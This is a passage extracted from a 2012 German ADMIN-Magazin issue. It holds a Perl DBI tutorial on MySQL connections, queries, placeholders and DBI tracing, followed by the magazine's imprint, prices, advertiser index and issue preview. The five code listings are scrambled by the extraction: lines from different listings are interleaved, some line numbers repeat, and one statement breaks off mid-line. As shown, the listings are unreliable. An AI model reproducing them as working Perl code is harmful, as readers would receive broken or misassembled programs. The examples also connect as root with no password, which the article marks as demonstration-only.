Zeile 4 folgt dem Schema 

$dbh = DBI‐>connect( $data_source, U 

$username, $password, \%attr ); 

Sie stellt in diesem Fall die Verbindung 

zu einer MySQL-Datenbank »testdb« mit 

dem Account des Nutzers »root« ohne 


Admin 


127

Programmieren 

Perl-DBI 

Listing 5: Datenimport 

01 #!/usr/bin/perl ‐w 

02 use strict; 

03 use DBI; 

04 

05 my $anz; 

Listing 4: In einem Schritt 



03 use DBI; 

04 

Listing 3: Abfrageschleife 



03 use DBI; 

04 

Listing 2: Standardschritte 

01 01 #!/usr/bin/perl ‐w 

02 02 use strict; 

03 03 use DBI; 

04 

Listing 1: Treibertest 



03 use DBI; 

04 use CGI qw(:standard escapeHTML); 

05 

06 my @treiber = DBI‐>available_drivers(); 

07 

08 print header(); 

09 start_html("DBD‐Treiber‐Test"); 

10 print "connect('dbi:mysql:testdb:l 

ocalhost:3306','root','', {PrintError=>0, 

RaiseError=>1}); 

06 

07 my $ref=$dbh‐>selectall_arrayref("SELECT name, 

06 my $dbh=DBI‐>connect('dbi:mysql:testdb:l 

ocalhost:3306','root','', {PrintError=>0, 

RaiseError=>1}); 

07 my $sth=$dbh‐>prepare("INSERT INTO adresses 

(name, street, nr) VALUES(?,?,?)"); 

08 

Passwort her. Zurückgegeben wird ein 

Datenbank-Handle, das für eine konkrete 

Datenbankverbindung über einen 

bestimmten Treiber steht. Man kann aus 

einer Anwendung sowohl gleichzeitig 

Verbindungen zu beliebig vielen verschiedenen 

Datenbanken aufbauen, als 

auch mehrere Verbindungen zu ein und 

derselben Datenbank. 

Der Parameter »PrintError« hält DBI dazu 

an, automatisch Perls »warn()«-Funktion 

zu verwenden, wenn es auf einen Fehler 

stößt. Setzt man dagegen wie im Beispiel 

»RaiseError« auf »1«, dann verwendet 

DBI stattdessen die »die()«-Funktion 

07 05 my $SQL="SELECT * from testtabelle WHERE id 

= 23;"; 

08 06 my $sth=$dbh‐>prepare($SQL); 

09 07 $sth‐>execute(); 

10 08 my $result=$sth‐>fetchrow_hashref(); 

11 09 $sth‐>finish(); 

12 10 my $rc = $dbh‐>disconnect(); 

adresses"; 

07 my $sth=$dbh‐>prepare($SQL); 

08 $sth‐>execute(); 

09 while( my $ref = $sth‐>fetchrow_hashref('NAME_ 

uc')) { 

10 printf "name=%s, street=%s, nr=%d\n", 

$ref‐>{NAME}, $ref‐>{STREET}, $ref‐>{NR}; 

11 } 

street, nr FROM adresses"); 

08 

09 if (defined($ref)) { 

10 foreach my $zeile (@{$ref}) { 

11 printf "name=%s, street=%s, nr=%d\n", 

$zeile‐>[0], $zeile‐>[1], $zeile‐>[2]; 

12 } 

13 } 

09 open(ADDRDAT, "

Perl-DBI 

Programmieren 

Ruft man »selectrow_array()« in einem 

Skalar-Kontext auf, dann liefert es nur die 

erste Spalte der ersten Zeile des Ergebnisses 

zurück. Das ist besonders praktisch, 

wenn man nur an der Anzahl der Resultate 

interessiert ist: 

$anz=selectrow_array(SELECT COUNT(*) FROM U 

testtab"); 

Generell geben alle Routinen, die Arrays 

liefern, eine leere Liste zurück, sobald die 

Ergebnismenge ausgeschöpft ist, und alle 

Routinen, die Referenzen liefern, retounieren 

in diesem Fall »undef«. 

Ist man an allen Resultaten interessiert, 

eignen sich zur Abfrage daher Schleifen 

wie in Listing 3. Ein kleiner Trick dabei 

ist, »fetchrow_hashref()« über den Parameter 

zur Großschreibung der Schlüssel 

zu zwingen, sodass sie garantiert zur 

Schreibweise im »prinf«-Statement passen. 

Etwas bequemer kommt man mit 

einer Abfrage der höheren Ordnung zum 

selben Ziel (Listing 4). 

Platzhalter 

In vielen Fällen will die Applikation nicht 

nur lesend auf die Datenbank zugreifen, 

sondern auch Inhalte verändern. DBI 

kennt für SQL-Statements, die keine Zeilen 

zurückgeben, die Methode »do()«. 

$dbh‐>do("INSERT INTO adresses U 

(name, street, nr) VALUES('guenther',U 

'nelkenweg',7)"); 

Auch »UPDATE«- oder »DELETE«-Anweisungen 

lassen sich via »do()« ausführen. 

Dabei gibt die Methode »undef« zurück, 

wenn es bei ihrer Ausführung zu einem 

Fehler kommt. Kann die Datenbank das 

Statement dagegen zwar ausführen, findet 

aber keine Zeile, auf die es zutrifft, 

liefert »do()« den Wert »0E0« zurück. 

Zeichenketten in Insert- oder Update- 

Anweisungen müssen in Anführungszeichen 

stehen, was insofern ein kleines 

Problem heraufbeschwören kann, als 

bereits das SQL-Statement als solches 

an- und abgeführt werden muss. Dafür 

gibt es verschiedene Lösungen: Entweder 

man verwendet immer doppelte Anführungszeichen, 

muss dann aber diejenigen 

im Innern des SQL-Statements mit einem 

Backslash maskieren. Oder man setzt das 

SQL-Statement in einfache Anführungen, 

dann müssen doppelte im Innern nicht 

maskiert werden. Oder man verwendet 

Platzhalter. 

Als Platzhalter dient das Fragezeichen 

an Stelle eines Datenwertes, der später 

nachgereicht wird. Besonders effizient ist 

diese Form dann, wenn ein und dieselbe 

Abfrage mit immer wechselnden Werten 

wiederholt wird. Dann kommt diese 

Technik auch der Performance zugute, 

denn die Datenbank muss nur einmal 

einen Ausführungsplan berechnen und 

kann ihn dann jedes Mal wiederverwenden. 

Das Beispiel in Listing 5 liest Daten 

aus einer CSV-Datei und speichert sie in 

einer Tabelle. Nebenbei: Diese Listings 

sollen nicht im Produktivbetrieb laufen, 

sondern nur DBI-Funktionen beispielhaft 

demonstrieren. Deshalb verzichten sie 

bewusst auf alles, was dafür verzichtbar 

ist, beispielsweise auch auf eine 

Fehlerbehandlung, wie man sie natürlich 

normalerweise bräuchte, um etwa 

leere oder falsch formatierte CSV-Zeilen 

abzufangen. 

Shit happens 

Zum Schluss noch ein 

paar Worte zur Fehlersuche 

in solchen 

Skripten. Eine erste 

Maßnahme ist bereits 

das Einschalten des 

Warnmodus »‐w« von 

Perl, was dazu führt, 

dass sich der Interpreter 

über Sachen beklagt, 

die ihm komisch 

vorkommen. Auch »use 

strict;« sollte selbstverständlich 

sein, damit 

man nicht über triviale 

Patzer wie verschriebene 

Variablennamen 

stolpert. Ansonsten 

beugt der oben schon 

erwähnte DBI-Parameter 

»RaiseError()« 

wirksam vor, indem 

er automatisch den 

Rückgabewert jedes 

DBI-Methodenaufrufs 

checkt und das Skript 

beendet, wenn etwas 

schiefgelaufen ist. Die 

nächste gute Quelle für 

Hinweise auf Probleme 

ist das Error-Log der Datenbank (soweit 

beteiligt auch das des Webservers). Zur 

Laufzeit konstruierte SQL-Abfragen kann 

man zu Testzwecken vorher auch mit 

»print« ausgeben. Allerdings funktioniert 

das nicht mehr, wenn sie Platzhalter 

verwenden. In diesem Fall muss man 

das Tracing des DBI-Moduls einschalten, 

um zu sehen, was es tatsächlich an die 

Datenbank übermittelt. Nötig ist mindestens 

der Trace Level 2. Einstellen kann 

man ihn auf zweierlei Weise: entweder 

über ein Handle 

$sth‐>{TraceLevel}=2; 

oder über eine Environment-Variable: 

DBI_TRACE=2=dbitrace.log 

export DBI_TRACE 

In letzterem Fall kann man auch eine 

Log-Datei an beliebigem Ort mit angeben. 

Andernfalls landen alle Ausgaben 

wie auch im Fall der Konfiguration über 

das Handle auf StdOut. 

n 


Admin 


129

Service 

Impressum und Vorschau 

Impressum ISSN 2190-1066 

ADMIN-Magazin eine Publikation der Linux New Media AG 

Redaktionsanschrift Putzbrunner Straße 71 

81739 München 

Tel.: 0 89/99 34 11-0 

Fax: 0 89/99 34 11-99 oder -96 

Internet 


E-Mail 

redaktion@admin-magazin.de 

Geschäftsleitung Brian Osborn (Vorstand), bosborn@linuxnewmedia.de 

Hermann Plank (Vorstand), hplank@linuxnewmedia.de 

Chefredakteure Oliver Frommel (V.i.S.d.P.), 

ofrommel@admin-magazin.de (ofr) 

Jens-Christoph Brendel 

jbrendel@admin-magazin.de (jcb) 

Redaktion 

News/Report 

Ulrich Bantle (Ltg.), ubantle@linuxnewmedia.de (uba) 

Mathias Huber, mhuber@linuxnewmedia.de (mhu) 

Software/Test 

Marcel Hilzinger, mhilzinger@linuxnewmedia.de, (mhi) 

Kristian Kißling, kkissling@linuxnewmedia.de, (kki) 

Security/Networking Markus Feilner, mfeilner@linuxnewmedia.de (mfe) 

Thomas Leichtenstern, tleichtenstern@linuxnewmedia.de (tle) 

Ständige Mitarbeiter Elke Knitter (Schlussredaktion), 

Carsten Schnober, Tim Schürmann, Claudia Thalgott 

Produktionsleitung Christian Ullrich, cullrich@linuxnewmedia.de 

Grafik 

Klaus Rehfeld, Judith Erb 

Titel: Judith Erb, Ausgangsgrafik: tiero, 123RF 

Abo-Infoseite 

Abonnenten-Service 

www.admin-magazin.de/abo 

Veronika Kramer 

abo@admin-magazin.de 

Tel.: 07131/27 07 274, Fax: 07131/27 07 78 601 

Preise Print Deutschland Österreich Schweiz Ausland EU 

Einzelheft € 9,80 € 10,80 Sfr 19,60 (siehe Titel) 

Mini-Abo (2 Ausgaben) € 9,80 € 10,80 Sfr 19,60 (siehe Titel) 

Jahres-DVD (Einzelpreis) € 14,95 € 14,95 Sfr 18,90 € 14,95 

Jahres-DVD (zum Abo 1 ) € 6,70 € 6,70 Sfr 8,50 € 6,70 

Jahresabo € 49,90 € 54,90 Sfr 99,90 € 59,90 

Preise Digital Deutschland Österreich Schweiz Ausland EU 

Heft-PDF Einzelausgabe € 9,80 € 9,80 Sfr 10,71 € 9,80 

DigiSub (6 Ausgaben) € 44,90 € 44,90 Sfr 49,05 € 44,90 

DigiSub (zum Printabo) € 6,— € 6,— sfr 6,— € 6,— 

HTML-Archiv (zum Abo 1 ) € 48,— € 48,— sfr 48,— € 48,— 

Preise Kombiabos 

Profi-Abo 2 € 136,60 € 151,70 Sfr 259,90 € 165,70 

1 

nur erhältlich in Verbindung mit einem Jahresabo Print oder Digital 

2 

mit Linux-Magazin-Abo und beiden Jahres-DVDs 

Schüler- und Studentenermäßigung: 20 Prozent gegen Vorlage eines Schülerausweises oder einer aktuellen 

Immatrikulationsbescheinigung. Der aktuelle Nachweis ist bei Verlängerung neu zu erbringen. Andere Abo- 

Formen, Ermäßigungen im Ausland etc. auf Anfrage. 

Adressänderungen bitte umgehend mitteilen, da Nachsendeaufträge bei der Post nicht für Zeitschriften gelten. 

Pressemitteilungen info@admin-magazin.de 

Anzeigen/Repräsentanz 

Es gilt die Anzeigenpreisliste vom 01.01.2010 

National 

Pressevertrieb 

Druck 

Petra Jaser 

Tel.: 089/99 34 11 24, Fax: 089/99 34 11 99 

E-Mail: anzeigen@admin-magazin.de 

MZV, Moderner Zeitschriften Vertrieb GmbH 

Breslauer Straße 5, 85386 Eching 

Tel.: 089/31906-0, Fax: 089/31906-113 

Vogel Druck und Medienservice GmbH 

97204 Höchberg 

Der Begriff Unix wird in dieser Schreibweise als generelle Bezeichnung für die Unix-ähnlichen Betriebssysteme 

verschiedener Hersteller, zum Beispiel Eurix (Comfood), Ultrix (Digital Equipment), HP/UX (Hewlett-Packard) oder Sinix 

(Siemens) benutzt, nicht als die Bezeichnung für das Trademark von X/Open. Linux ist eingetragenes Marken zeichen von 

Linus Torvalds und wird in unserem Markennamen mit seiner Erlaubnis verwendet. Alle anderen Marken sind Eigentum 

der jeweiligen Inhaber. Eine Haftung für die Richtigkeit von Veröffentlichungen kann trotz sorgfältiger Prüfung durch 

die Redaktion vom Verlag nicht übernommen werden. Mit der Einsendung von Manu s kripten gibt der Verfasser seine 

Zustimmung zum Abdruck im Admin-Magazin. Für unverlangt ein gesandte Manuskripte kann keine Haftung übernommen 

werden. Die Redaktion behält sich vor, Artikel zu kürzen. Das Exklusiv- und Verfügungsrecht für angenommene 

Manuskripte liegt beim Verlag. Es darf kein Teil des Inhalts ohne ausdrückliche schriftliche Genehmigung des Verlags in 

irgendeiner Form vervielfältigt oder verbreitet werden. Copyright © 1994–2012 Linux New Media AG 

Inserentenverzeichnis 

1&1 Internet AG http://www.einsundeins.de 7 

ADMIN http://www.admin-magazin.de 45, 97 

aktivoptik http://www.aktivoptik.de 123 

Android User http://www.android-user.de 69, 87 

Carhartt http://www.carhartt-wip.com 113 

Deutsche Python Konferenz - PyCon http://de.pycon.org 25 

Fernschule Weber GmbH http://www.fernschule-weber.de 111 

Galileo Press http://www.galileo-press.de 13 

Heinlein Professional Linux 

Support GmbH http://www.heinlein-support.de 67 

Hetzner Online AG http://www.hetzner.de 132 

Host Europe GmbH http://www.hosteurope.de 33 

Hostserver GmbH http://www.hostserver.de 2 

Inlab Software GmbH http://www.inlab.de 125 

ISC Events http://www.isc-events.com 31 

Kamp Netzwerkdienste GmbH http://www.kamp.net 27 

Kettner Mathias - Linux Experte http://www.mathias-kettner.de 73 

Lamarc EDV-Schulungen u. Beratung 

GmbH http://www.lamarc.com 77 

Linux-Hotel http://www.linuxhotel.de 55 

Linux-Magazin http://www.linux-magazin.de 81 

Linux-Magazin Academy http://academy.linux-magazin.de 39, 103, 131 

Linux-Magazin Online http://www.linux-magazin.de 85 

LinuxUser http://www.linuxuser.de 105 

Netzwerktotal http://www.netzwerktotal.de 129 

pascom - Netzwerktechnik 

GmbH & Co.KG http://www.pascom.net 11 

PlusServer AG http://www.plusserver.de 14, 50, 62, 74 

Securepoint GmbH http://www.securepoint.de 65 

Springer Verlag GmbH & Co.KG http://www.springer.com 9 

Strato AG http://www.strato.de 23 

Einem Teil dieser Ausgabe liegt eine Beilage der Firma HACKATTACK IT SECURITY GmbH 

(http://www.hackattack.com ) bei. Wir bitten unsere Leser um freundliche Beachtung. 

Autoren dieser Ausgabe 

Eric Amberg Schweizer Netzwerkmesser 28 

Thomas Drilling An vorderster Front 106 

Thomas Drilling In Harmonie 94 

Thomas Drilling Wettkampf 76 

Egon Grünter Die Pflichten des Protokolls 40 

Werner Fischer Dicke Leitung 24 

Jan Gassen Fallensteller 46 

Thomas Joos Rundum sorglos 110 

Thomas Joos Verschwägert 99 

Michael Kofler Abgerundet 118 

Martin Loschwitz Oldie but Goldie 70 

David Lutterkort Anschlussfreudig 114 

Vilma Niclas Ablageordnung 18 

Thorsten Scherf Dienstbarer Geist 16 

Sebastian Schinzel Seitenkanäle mit Untiefen 52 

Georg Schönberger Hochgeschwindigkeit 82 

Tim Schürmann Abgedichtet 56 

Dr. Udo Seidel Flugschreiber 64 

Oliver Sennhauser Abgesichert 88 

Ramon Wartala Das vierte Programm 102 

Harald Zisler Benutzer gut geführt 96 

© James Thew, 123RF 

VORSCHAU 

ADMIN 05/2012 erscheint am 13. september 2012 


KVM ist dabei, sich als Standardlösung 

zur Virtualisierung unter Linux zu 

etablieren. Der kommende ADMIN- 

Schwerpunkt testet Management-Tools 

und zeigt Optimierungsmöglichkeiten. 

Ein Praxistest vergleicht Software für 

eigene Cloud-Speicher. 

Management 

Eine zentrale Verwaltung vereinfacht 

die Administration einer 

Rechnerlandschaft erheblich. 

Rex hilft dabei und bietet einen mit 

Perl skriptbaren Baukasten, der 

mit den meisten Betriebssystemen 

zurechtkommt. 



ACADEMY 

LPIC-1 

All-in-One Solution 

✓ 

Stellen Sie Ihr Linux-Wissen mit 

einer Zertifizierung unter Beweis! 

✓ Nutzen Sie die volle Flexibilität bei 

der Zeiteinteilung Ihrer Schulung! 

✓ Holen Sie sich alles, was Sie 

benötigen, in einem Paket! 

LPIC-1 Komplettpaket* nur € 1.490 

*Zertifizierung als „Junior Level Linux Professional“ 

100% flexibel! 

Weitere Infos: academy.linux-magazin.de/solution

Hetzner Online unterstützt mit der 

Verwendung von 100% regenerativem 

Strom aktiv den Umweltschutz. 

Entscheiden Sie sich gemeinsam 

mit uns für eine saubere Zukunft.

ADMIN Magazin Eigene Server gegen Angreifer schützen (Vorschau)

Sie wollen auch ein ePaper? Erhöhen Sie die Reichweite Ihrer Titel.

Template löschen?

Als Template speichern?